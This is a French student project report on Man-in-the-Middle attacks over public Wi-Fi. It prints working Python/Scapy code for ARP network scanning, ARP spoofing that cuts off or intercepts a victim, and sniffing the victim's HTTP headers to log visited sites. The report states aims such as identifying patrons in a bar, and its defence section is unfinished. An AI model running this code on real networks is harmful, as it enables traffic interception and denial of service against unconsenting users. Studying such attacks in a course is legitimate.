Cryptographie et sécurité

IFT-606

Rapport de projet - La Brulerie

Amandine Fouillet - 14 130 638
Frank Chassing - 14 153 710
Thomas Signeux - 14 126 590

11 avril 2015

Table des matières

Introduction

Avec la multiplication des objets connectés, notamment les smartphones et autres appareils mobiles, de nombreux réseaux publics ont vu le jour dans diverses endroits. Cependant, la sécurité de ces réseaux est parfois douteuse et il est aisé de s'y introduire, à l'insu de tous. Une fois sur ces réseaux, les possibiltés d'intrusions et de malveillances sont nombreuses.

Parmi ces intrusions, l'une d'elles peut être particulièrement efficace et dangereuse pour les personnes visées. Cette attaque s'appelle Man In The Middle.

Ce projet a pour but d'étudier cette faiblesse du réseau en développant une application capable de reproduire les principales attaques Man In the Middle mais également de pouvoir s'en protéger.

1 Description du projet et des objectifs

1.1 L'attaque Man In The Middle

L'attaque Man In The Middle a pour but d'intercepter les communications transitant entre deux machines, sans que ni l'une ni l'autre ne se doute que le canal de communication est compromis. L'attaquant a alors la possibilité de lire mais aussi de modifier les messages (dans une certaine mesure).

Il existe plusieurs techniques pour ce fair passer pour l'une ou l'autre de ces machines cibles.

— l'ARP Spoofing : attaque la plus fréquente, utilisée dans la partie pratique de ce projet. On force les communications à transiter par l'ordinateur de l'attaquant qui se fait alors passer pour le routeur (gateway) du réseau.
— le DNS Poisoning : le but de cette attaque est de faire correspondre l'adresse IP d'une machine controlée par un pirate à un nom réel et valide d'une machine publique. Pour cela, il altère le ou les serveur(s) DNS du réseau.
— l'annalyse du trafic : technique de sniffing permettant de visualiser les informations non chiffrées.
— le déni de service : empêcher le fonctionnement d'une machine pour en prender le contrôle.

1.2 Objectifs initiaux

L'objectif de ce projet est de mettre en place des scénarios d'attaques de piratage de réseaux et de proposer des moyens de défense. Dans un premier temps, nous explorerons l'actualité des attaques de réseaux publics. Puis nous présenterons le travail réalisé lors du projet. Suivrons les chapitres liés aux descriptions techniques du projet ainsi qu'un guide d'utilisation.

— Pouvoir identifier les ordinateurs connectés au routeur
— Couper l'ensemble des connexions au routeur afin de bénéficier d'une meilleure bande passante
— Limiter la connexion des personnes connectées au réseau
— Récupérer les informations transitant sur les réseau pour pouvoir les analyser et identifier les personnes se trouvant dans le bar
— Organiser une défense aux attaques précédentes
— Faire une vidéo de présentation

2 Présentation du travail réalisé

Afin de répondre à nos différents objectifs nous avons décidé de mettre en place plusieurs attaques contre des utilisateurs connectés sur le même réseau que nous. Pour faciliter le déroulement

des attaques nous avons créé une interface graphique simple qui permet à l'attaquant de mener des offensives contre sa victime en quelques clics. De façon à proposer un outil polyvalent, nous avons également introduit dans l'interface une fenêtre de défense avec deux différents types de protection implémentés.

Pour réaliser les attaques, la défense et l'interface graphique nous avons utilisé un seul langage de programmation, le langage python. Outre sa portabilité, ce langage offre une multitude de librairies déjà implémentées pour la manipulation de paquets réseau notamment le module Scapy que nous avons utilisé pour réaliser chacune de nos attaques et défenses. Ce module permet de forger, envoyer, réceptionner et manipuler des paquets réseau.

Dans cette seconde section, nous allons vous présenter les scripts que nous avons implémentés, leur rôle et surtout leur fonctionnement.

2.1 Attaque

Nous avons implémenté trois différentes attaques : l'identification des utilisateurs sur le réseau, la coupure de ces usagers et enfin la récupération des liens internet qu'ils visitent. La première attaque est toujours effectuée car sans elle, il nous ait impossible d'effectuer les suivantes. Par contre les attaques de coupure et d'écoute, même si elles se ressemblent, ont été implémentées séparément. Ci dessous, nous allons décrire les différentes attaques, leur réalisation et leur fonctionnement à travers l'interface graphique.

2.1.1 Identification

Cette attaque consiste à analyser le réseau auquel l'attaquant est connecté et donner la liste de tous les utilisateurs présents et actifs sur ce même réseau. Ces usagers sont représentés par leur adresse IP et leur adresse MAC et ces identifiants seront utilisés pour cibler une victime lors des attaques suivantes.

Identifier le réseau automatiquement

Toujours dans l'optique de permettre à l'utilisateur de communiquer seulement à travers une interface graphique, nous avons souhaité mettre en place une identification automatique du réseau ainsi que de la place d'adresse IP à scanner. Pour cela, nous avons eu recours à deux modules python : *netifaces* et *netaddr*. Grâce au premier, on peut parcourir la liste des interfaces de l'attaquant et récupérer celle qui est utilisée pour la connexion au réseau, puis on peut récupérer l'adresse IP locale de l'attaquant ainsi que le masque de sous-réseau. Puis, avec netaddr on effectue des opérations sur les adresses IP afin de trouver l'adresse et la plage d'adresse du réseau.

```
1 #On parcourt la liste des interfaces de l'ordinateur afin de reperer laquelle est
      utilisee
2 for interface in netifaces.interfaces():
3   #On ne tien pas compte de l'interface locale (lo0 sur MACOSX et lo sur Linux)
4   if(str(interface) == 'lo0' or str(interface) == 'lo'):
5     pass
6   else:
7     try:
8       #On rentre  ici si l'interface est celle utilisee
9       #On recupere l'adresse IP de l'ordinateur
```

```
10        adresse_ip = netifaces.ifaddresses(interface)[netifaces.AF_INET][0]['addr']
11        #On recupere le masque de sous-reseau
12        masque_sr = netifaces.ifaddresses(interface)[netifaces.AF_INET][0]['netmask']
13        #On effectue un bit a bit pour recuperer l'adresse du reseau
14        netaddr_masque_sr = netaddr.IPAddress(masque_sr)
15        netaddr_adresse_ip = netaddr.IPAddress(adresse_ip)
16        netaddr_reseau_ip = netaddr_adresse_ip & netaddr_masque_sr
17        #On recupere la plage d'adresses du reseau
18        netaddr_reseau = netaddr.IPNetwork(str(netaddr_reseau_ip) + '/' + str(
      netaddr_masque_sr))
19        network = str(netaddr_reseau)
20        print network
21        break
22      except:
23        #Si ce n'est pas l'interface utilisee, on passe
24        network  = 'erreur'
25        pass
```

Listing 1 – Identification du reseau

Envoi d'une requête ARP

Maintenant que l'on a identifié la plage d'adresse du réseau auquel l'attaquant est connecté, on va envoyé une requête ARP a chaque adresse de cette plage. Pour cela, on utilise la fonction *srp* de scapy qui envoi et reçoit des paquets de la couche 2.

```
1 #Creee et envoie des paquets ARP afin de detecter les IP qui repondent sur le reseau
2 rec,unans=srp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=network),timeout=10)
```

Listing 2 – Envoi d'une requête ARP

Récupération des ordinateurs connectés

Seul les ordinateurs connectés vont répondre et nous pourrons alors récupérer leur adresse IP et leur adresse Mac. Il nous suffit de parcourir le résultat de la fonction srp et d'enregistrer dans une liste les ordinateurs qui ont répondu.

```
1 MACIP = []
2 #On enregistre dans une liste les adresses IP et MAC des ordinateurs qui ont repondu
      aux requetes ARP
3 for send,recv in rec:
4   couple = ("nom", recv.sprintf(r'%ARP.psrc%'), recv.sprintf(r'%Ether.src%'))
5   MACIP.append(couple)
```

Listing 3 – Récupération des réponses

Lien avec l'interface

Au niveau de l'interface, l'identification se lance automatique à l'appui sur le bouton "Attaquer" de la page principale. Le script d'identification retourne à l'interface la liste des ordinateurs connectés et on les affiche sous forme d'une liste dans la fenêtre d'attaque (FAIRE UNE REFERENCE). Il

est également possible d'actualiser l'identification une fois sur la fenêtre d'attaque grâce au bouton "Actualiser", le script d'identification est relancé et la liste des machines connectées est mise à jour.

2.1.2 Coupure

Création des faux paquets

```
fauxARP = ARP()
fauxARP.op = 2
fauxARP.psrc = self.IpGw
fauxARP.pdst = self.IpVictim
fauxARP.hwdst = self.MacVictim

fauxARPGW = ARP()
fauxARPGW.op=2
fauxARPGW.psrc= self.IpVictim
fauxARPGW.pdst= self.IpGw
fauxARPGW.hwdst= self.MacGw
```

Listing 4 – Récupération des réponses

Envoi des paquets

```
send(fauxARP)
send(fauxARPGW)
```

Listing 5 – Récupération des réponses

Sniff

```
sniff(filter="arp and host " + self.IpGw, count=1)
```

Listing 6 – Récupération des réponses

2.1.3 Sniffer

Man in the middle

```
while 1:
  send(ARP(op=2, pdst=victimIP, psrc=routerIP, hwdst=routerMAC))
  send(ARP(op=2, pdst=routerIP, psrc=victimIP, hwdst=victimMAC))
  time.sleep(1.5)
```

Listing 7 – Récupération des réponses

Ecoute

Sniff

```
sniff(filter="host "+self.IpVictim, prn=http_header)
```

Listing 8 – Récupération des réponses

Traitement des paquets

```
1
2  def http_header(packet):
3    #On ouvre un fichier pour enregistrer les sites visites par la victime
4      fichier = open("capture.txt", "w")
5      #On ouvre un autre fichier pour enregistrer les donnes user-agent de la victime
6      fichierInf = open("nomOS.txt", "w")
7      #On traite le packet sous forme texte
8      http_packet=str(packet)
9      #Si on trouve un GET dans le paquet on est dans le cas d'un paquet html
10     if http_packet.find('GET'):
11       #On recupere les donnees Raw du paquet
12     ret = "\n".join(packet.sprintf("{Raw:%Raw.load%}\n").split(r"\r\n"))
13     #On recherche les informations sur l'hote dans les donnes Raw
14     host = re.search('[Hh]ost: ', ret)
15     if host:
16         try:
17           #On recupere les donnees hotes
18         hostStg = ret.split('Host: ', 1)[1]
19         #On recupere, si il y en a des donnes sur l'user-agent
20         useragent = re.search('User-Agent: ', hostStg)
21         if useragent:
22           #Si il y a des donnes user-agent on les enregistre dans le fichier
23           user = hostStg.split('User-Agent: ', 1)[1]
24           userA = user.split('\n', 1)[0]
25           fichierInf.write(userA)
26         #Add pour recuperer l'adresse web du serveur
27         add = hostStg.split('\n', 1)[0]
28         #On cherche si il y a l'adresse precise du site visite par la victime
29         url = re.search('Referer: ', hostStg)
30         if url:
31           #Si c'est le cas et si elle n'est pas deja dans la liste, on l'ajoute
32             adu = hostStg.split('Referer: ', 1)[1]
33             addurl = adu.split('\n', 1)[0]
34             if not(("Addresse exacte : " + addurl) in listeAddresse):
35                 listeAddresse.append("Addresse exacte : " + addurl)
36         else:
37           #sinon on ajoute dans la liste le serveur qui donne aussi des informations
     sur les pages visitees par la victime
38             if not(("Serveur : " + add) in listeAddresse):
39                 listeAddresse.append("Serveur : " + add)
40         except:
41         pass
42       #On ecrit dans le fichier les donnes de la liste
43         for i in range(len(listeAddresse)):
44         fichier.write(listeAddresse[i] + "\n")
```

Listing 9 – Récupération des réponses

2.2 Défense

Dans cette section, nous allons présenter nos applications de défense. Afin de contrer les attaques ciblées sur une machine, nous avons déployé deux scripts. Le premier réalise une détection pour savoir si la machine est victime d'une attaque ARP spoofing. Le second script est une simple commande qui permet de contrer l'attaque de coupe de connexion.

A rediger
identification : récupérer les noms des machines, l'os pour avoir plus d'informations sur les ordinateurs du réseau et pouvoir cibler une victime
coupure : ralentir au lieu de couper, possible et simple mais pas encore implémenté dans l'interface graphique
sniffer : obtenir plus d'informations sur ce que la victime est entrain de faire (site https, recherche google, mails, mot de passe), arrêter l'attaque man in the middle une fois l'écoute terminée (problème avec les threads)
détection : donner plus d'informations sur l'attaquant (nom de l'ordinateur, os..), faire tourner la détection en continu ?
anti-cut : la désactivation pas très fonctionnelle (problème avec les thread)

Table des figures

Listings